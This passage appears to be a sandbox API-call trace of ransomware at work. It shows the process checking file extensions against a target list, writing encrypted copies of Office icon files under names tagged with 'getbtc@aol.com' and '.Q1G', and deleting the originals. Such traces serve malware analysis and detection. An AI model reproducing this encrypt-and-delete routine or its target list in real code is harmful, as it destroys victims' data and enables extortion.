lstrlenW (lpString=".pdf") returned 4 [0263.746] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString=".xls") returned 4 [0263.746] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString=".xlsx") returned 5 [0263.746] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.746] lstrlenW (lpString=".ppt") returned 4 [0263.746] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.746] lstrlenW (lpString=".zip") returned 4 [0263.746] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString=".rar") returned 4 [0263.746] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.746] lstrlenW (lpString=".bz2") returned 4 [0263.746] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.746] lstrlenW (lpString=".7z") returned 3 [0263.746] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.747] lstrlenW (lpString=".dbf") returned 4 [0263.747] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.747] lstrlenW (lpString=".1cd") returned 4 [0263.747] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO") returned 63 [0263.747] lstrlenW (lpString=".jpg") returned 4 [0263.747] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.747] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.747] lstrlenW (lpString="SMSS.ICO") returned 8 [0263.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.747] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=2238) returned 1 [0263.747] CloseHandle (hObject=0x39c) returned 1 [0263.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 0x20 [0263.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.748] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.748] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0263.749] GetLastError () returned 0x0 [0263.749] ReadFile (in: hFile=0x39c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x8be, lpOverlapped=0x0) returned 1 [0263.797] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0263.798] ReadFile (in: hFile=0x39c, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.798] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0263.798] SetEndOfFile (hFile=0x3d8) returned 1 [0263.798] CloseHandle (hObject=0x3d8) returned 1 [0263.798] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.798] SetEndOfFile (hFile=0x39c) returned 1 [0263.800] CloseHandle (hObject=0x39c) returned 1 [0263.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico")) returned 1 [0263.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.808] lstrlenW (lpString=".doc") returned 4 [0263.808] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.808] lstrlenW (lpString=".docx") returned 5 [0263.808] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.808] lstrlenW (lpString=".pdf") returned 4 [0263.808] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.808] lstrlenW (lpString=".xls") returned 4 [0263.808] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.808] lstrlenW (lpString=".xlsx") returned 5 [0263.808] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.808] lstrlenW (lpString=".ppt") returned 4 [0263.808] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.808] lstrlenW (lpString=".zip") returned 4 [0263.808] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.808] lstrlenW (lpString=".rar") returned 4 [0263.808] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.808] lstrlenW (lpString=".bz2") returned 4 [0263.808] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.808] lstrlenW (lpString=".7z") returned 3 [0263.808] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".dbf") returned 4 [0263.809] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".1cd") returned 4 [0263.809] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".jpg") returned 4 [0263.809] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".doc") returned 4 [0263.809] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString=".docx") returned 5 [0263.809] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0263.809] lstrlenW (lpString=".pdf") returned 4 [0263.809] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString=".xls") returned 4 [0263.809] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString=".xlsx") returned 5 [0263.809] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0263.809] lstrlenW (lpString=".ppt") returned 4 [0263.809] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".zip") returned 4 [0263.809] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString=".rar") returned 4 [0263.809] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0263.809] lstrlenW (lpString=".bz2") returned 4 [0263.809] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString=".7z") returned 3 [0263.809] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".dbf") returned 4 [0263.809] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".1cd") returned 4 [0263.809] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0263.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO") returned 62 [0263.809] lstrlenW (lpString=".jpg") returned 4 [0263.810] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0263.810] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0263.810] lstrlenW (lpString="TASKACCL.ICO") returned 12 [0263.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.810] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0263.810] CloseHandle (hObject=0x1bc) returned 1 [0263.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 0x20 [0263.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.811] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.811] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.037] GetLastError () returned 0x0 [0264.037] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0264.039] WriteFile (in: hFile=0x388, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0264.040] ReadFile (in: hFile=0x1bc, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.040] WriteFile (in: hFile=0x388, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.040] SetEndOfFile (hFile=0x388) returned 1 [0264.040] CloseHandle (hObject=0x388) returned 1 [0264.040] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.040] SetEndOfFile (hFile=0x1bc) returned 1 [0264.042] CloseHandle (hObject=0x1bc) returned 1 [0264.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico")) returned 1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".doc") returned 4 [0264.059] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.059] lstrlenW (lpString=".docx") returned 5 [0264.059] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.059] lstrlenW (lpString=".pdf") returned 4 [0264.059] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString=".xls") returned 4 [0264.059] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString=".xlsx") returned 5 [0264.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.059] lstrlenW (lpString=".ppt") returned 4 [0264.059] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".zip") returned 4 [0264.059] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString=".rar") returned 4 [0264.059] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString=".bz2") returned 4 [0264.059] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.059] lstrlenW (lpString=".7z") returned 3 [0264.059] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".dbf") returned 4 [0264.059] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".1cd") returned 4 [0264.059] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".jpg") returned 4 [0264.059] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.059] lstrlenW (lpString=".doc") returned 4 [0264.060] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.060] lstrlenW (lpString=".docx") returned 5 [0264.060] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.060] lstrlenW (lpString=".pdf") returned 4 [0264.060] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.060] lstrlenW (lpString=".xls") returned 4 [0264.060] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.060] lstrlenW (lpString=".xlsx") returned 5 [0264.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.060] lstrlenW (lpString=".ppt") returned 4 [0264.060] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.060] lstrlenW (lpString=".zip") returned 4 [0264.060] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.060] lstrlenW (lpString=".rar") returned 4 [0264.060] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.060] lstrlenW (lpString=".bz2") returned 4 [0264.060] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.060] lstrlenW (lpString=".7z") returned 3 [0264.060] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.060] lstrlenW (lpString=".dbf") returned 4 [0264.060] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.060] lstrlenW (lpString=".1cd") returned 4 [0264.060] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO") returned 66 [0264.060] lstrlenW (lpString=".jpg") returned 4 [0264.060] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.060] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.060] lstrlenW (lpString="TASKL.ICO") returned 9 [0264.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.061] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1078) returned 1 [0264.061] CloseHandle (hObject=0x388) returned 1 [0264.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 0x20 [0264.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0264.061] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.061] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.062] GetLastError () returned 0x0 [0264.062] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x436, lpOverlapped=0x0) returned 1 [0264.080] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x440, lpOverlapped=0x0) returned 1 [0264.081] ReadFile (in: hFile=0x388, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.081] WriteFile (in: hFile=0x3d8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0264.081] SetEndOfFile (hFile=0x3d8) returned 1 [0264.081] CloseHandle (hObject=0x3d8) returned 1 [0264.081] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.081] SetEndOfFile (hFile=0x388) returned 1 [0264.083] CloseHandle (hObject=0x388) returned 1 [0264.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.099] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskl.ico")) returned 1 [0264.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.120] lstrlenW (lpString=".doc") returned 4 [0264.120] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.120] lstrlenW (lpString=".docx") returned 5 [0264.120] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.120] lstrlenW (lpString=".pdf") returned 4 [0264.120] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.120] lstrlenW (lpString=".xls") returned 4 [0264.120] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.120] lstrlenW (lpString=".xlsx") returned 5 [0264.120] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.120] lstrlenW (lpString=".ppt") returned 4 [0264.120] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.120] lstrlenW (lpString=".zip") returned 4 [0264.120] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.120] lstrlenW (lpString=".rar") returned 4 [0264.120] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.120] lstrlenW (lpString=".bz2") returned 4 [0264.120] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0264.120] lstrlenW (lpString=".7z") returned 3 [0264.120] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0264.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.120] lstrlenW (lpString=".dbf") returned 4 [0264.120] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0264.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.120] lstrlenW (lpString=".1cd") returned 4 [0264.120] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0264.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.120] lstrlenW (lpString=".jpg") returned 4 [0264.120] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString=".doc") returned 4 [0264.121] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0264.121] lstrlenW (lpString=".docx") returned 5 [0264.121] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0264.121] lstrlenW (lpString=".pdf") returned 4 [0264.121] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString=".xls") returned 4 [0264.121] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString=".xlsx") returned 5 [0264.121] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0264.121] lstrlenW (lpString=".ppt") returned 4 [0264.121] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKL.ICO") returned 63 [0264.121] lstrlenW (lpString=".zip") returned 4 [0264.121] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString=".rar") returned 4 [0264.121] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0264.121] lstrlenW (lpString=".bz2") returned 4 [0264.121] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 